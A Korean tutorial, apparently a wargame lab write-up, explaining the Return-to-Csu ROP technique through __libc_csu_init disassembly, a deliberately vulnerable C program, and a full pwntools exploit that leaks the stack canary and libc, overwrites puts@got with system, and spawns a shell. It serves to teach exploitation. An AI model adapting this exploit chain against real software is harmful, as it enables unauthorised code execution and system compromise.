우리가 프로그램을 실행시키면 main 함수가 호출되기 전에 start, _libc_start_main, __libc_csu_init처럼 여러 함수가 실행됩니다.
Return-to-Csu 기법은 이중 __libc_csu_init 함수의 코드를 이용해서 최대 인자가 3개인 함수를 연달아 호출할 수 있게 해 줍니다.
공격은 두 단계로 나누어서 이루어지는데
*stage 1*
스택에 저장한 데이터들을 각 레지스터에 POP 합니다.
*stage 2*
인자들을 세팅한 후에 함수를 호출합니다.
이게 어떻게 가능한지 __libc_csu_init 함수의 코드를 봐보면
gef➤ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
.
.
.
.
0x00000000004012a8 <+56>: mov rdx,r14
0x00000000004012ab <+59>: mov rsi,r13
0x00000000004012ae <+62>: mov edi,r12d
0x00000000004012b1 <+65>: call QWORD PTR [r15+rbx*8]
0x00000000004012b5 <+69>: add rbx,0x1
0x00000000004012b9 <+73>: cmp rbp,rbx
0x00000000004012bc <+76>: jne 0x4012a8 <__libc_csu_init+56>
0x00000000004012be <+78>: add rsp,0x8
0x00000000004012c2 <+82>: pop rbx
0x00000000004012c3 <+83>: pop rbp
0x00000000004012c4 <+84>: pop r12
0x00000000004012c6 <+86>: pop r13
0x00000000004012c8 <+88>: pop r14
0x00000000004012ca <+90>: pop r15
0x00000000004012cc <+92>: ret
End of assembler dump.
*stage 1*
0x00000000004012c2 <+82 >: pop rbx
0x00000000004012c3 <+83 >: pop rbp
0x00000000004012c4 <+84 >: pop r12
0x00000000004012c6 <+86 >: pop r13
0x00000000004012c8 <+88 >: pop r14
0x00000000004012ca <+90 >: pop r15
0x00000000004012cc <+92 >: ret
stage 1 코드를 이용해서 스택에 저장된 데이터들을 각 레지스터에 POP 합니다.
*stage 2*
0x00000000004012a8 <+56 >: mov rdx,r14
0x00000000004012ab <+59 >: mov rsi,r13
0x00000000004012ae <+62 >: mov edi,r12d
0x00000000004012b1 <+65 >: call QWORD PTR [r15+rbx*8 ]
0x00000000004012b5 <+69 >: add rbx,0x1
0x00000000004012b9 <+73 >: cmp rbp,rbx
0x00000000004012bc <+76 >: jne 0x4012a8 <__libc_csu_init+56 >
0x00000000004012be <+78 >: add rsp,0x8
stage 2 코드를 이용해서 인자를 세팅하고 함수를 호출합니다.
이렇게 Stage 1과 2를 이용해서 원하는 인자 값으로 원하는 함수를 호출할 수 있습니다.
글로만 보면 잘 이해가 안 되기 때문에, 위에 코드들이 어떻게 동작하는지 그림으로 한번 살펴보겠습니다.
이렇게 pop rbx ~ r15까지 하면 함수 호출을 위한 모든 인자가 다 레지스터로 들어가게 됩니다.
그래서 최종적으로 read(0, bss, 8)이 실행됩니다.
이제 페이로드를 짜는 법을 봐보면
버퍼 오버플로우를 시켜 RET를 stage 1으로 한 후
0x00000000004012b1 <+65>: call QWORD PTR [r15+rbx*8]
첫 번째로 함수 호출을 위해 rbx * 8은 0이 돼야 하기 때문에 rbx는 0으로 고정입니다.
그리고 r15는 호출할 함수의 got가 됩니다.
0x00000000004012b5 <+69>: add rbx,0x1
0x00000000004012b9 <+73>: cmp rbp,rbx
0x00000000004012bc <+76>: jne 0x4012a8 <__libc_csu_init+56>
0x00000000004012be <+78>: add rsp,0x8
두 번째로 rbx에 1을 더한 다음 rbp와 rbx가 같으면 stage 1 로 가서 다시 함수를 호출할 수 있게 되기 때문에 rbp도 1로 고정입니다.
그리고 여기서 rsp에 8을 더하기 때문에 정상적인 공격 진행을 위해 두 번째 stage 1 부터는 앞에 dummy를 추가해줘야 합니다.
0x00000000004012ae <+62>: mov edi,r12d
세 번째로 r12d는 edi로 들어가기 때문에 함수의 첫 번째 인자 값입니다.
0x00000000004012ab <+59>: mov rsi,r13
네 번째로 r13은 rsi로 들어가기 때문에 함수의 두 번째 인자 값입니다.
0x00000000004012ab <+59>: mov rsi,r13
마지막으로 r14는 rdx로 들어가기 때문에 함수의 세 번째 인자 값입니다.
이 내용을 정리해보면
이제 실습을 해보겠습니다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf2: ");
read(0, buf, 0x200);
return 0;
}
kali@kali ~/wargame/Return_to_Csu/example checksec rtc
[*] '/home/kali/wargame/Return_to_Csu/example/rtc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[1] Canary Leak - 첫 번째 read 함수, 두 번째 printf 함수
[2] Return-to-Csu - 두 번째 read 함수
0x00000000004011dc <+118 >: lea rax,[rbp-0x40 ]
0x00000000004011e0 <+122 >: mov edx,0x100
0x00000000004011e5 <+127 >: mov rsi,rax
0x00000000004011e8 <+130 >: mov edi,0x0
0x00000000004011ed <+135 >: call 0x401060 <read@plt>
buf ~ Canary : 56
Canary Leak : 57
buf ~ RET : 72
0x 00000000004012c2 <+82 >: pop rbx
0x 00000000004012c3 <+83 >: pop rbp
0x 00000000004012c4 <+84 >: pop r12
0x 00000000004012c6 <+86 >: pop r13
0x 00000000004012c8 <+88 >: pop r14
0x 00000000004012ca <+90 >: pop r15
0x 00000000004012cc <+92 >: ret
0x 00000000004012a8 <+56 >: mov rdx,r14
0x 00000000004012ab <+59 >: mov rsi,r13
0x 00000000004012ae <+62 >: mov edi,r12d
0x 00000000004012b1 <+65 >: call QWORD PTR [r15+rbx*8 ]
0x 00000000004012b5 <+69 >: add rbx,0x 1
0x 00000000004012b9 <+73 >: cmp rbp,rbx
0x 00000000004012bc <+76 >: jne 0x 4012a8 <__libc_csu_init+56 >
0x 00000000004012be <+78 >: add rsp,0x 8
from pwn import *
def slog (name, addr):
return success(": ".join ([name, hex(addr)]))
def rtc_chain (arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)
p = process("./rtc")
e = ELF("./rtc", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
#gdb.attach(p)
# [1] Leak Canary
buf = b'A' * 57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Write Payload
read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)
payload = b'A' * 56 + p64(canary) + b'B' * 8
# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain (read_got, 0, 0, puts_got)
# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)
# read(0, puts@got, 8) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 8, read_got)
# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)
# Exploit
p.sendafter("Buf2: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6) + b'\x00'*2 ) # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()
kali@kali ~/wargame/Return_to_Csu/example python3 exploit.py 2> /dev/null
[+] Starting local process './rtc': pid 46417
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x824f481964b23800
[+] read: 0x7f8f79826550
[+] libc_base: 0x7f8f79738000
[+] system: 0x7f8f79781860
[*] Switching to interactive mode
$ ls
core exploit.py rtc rtc.c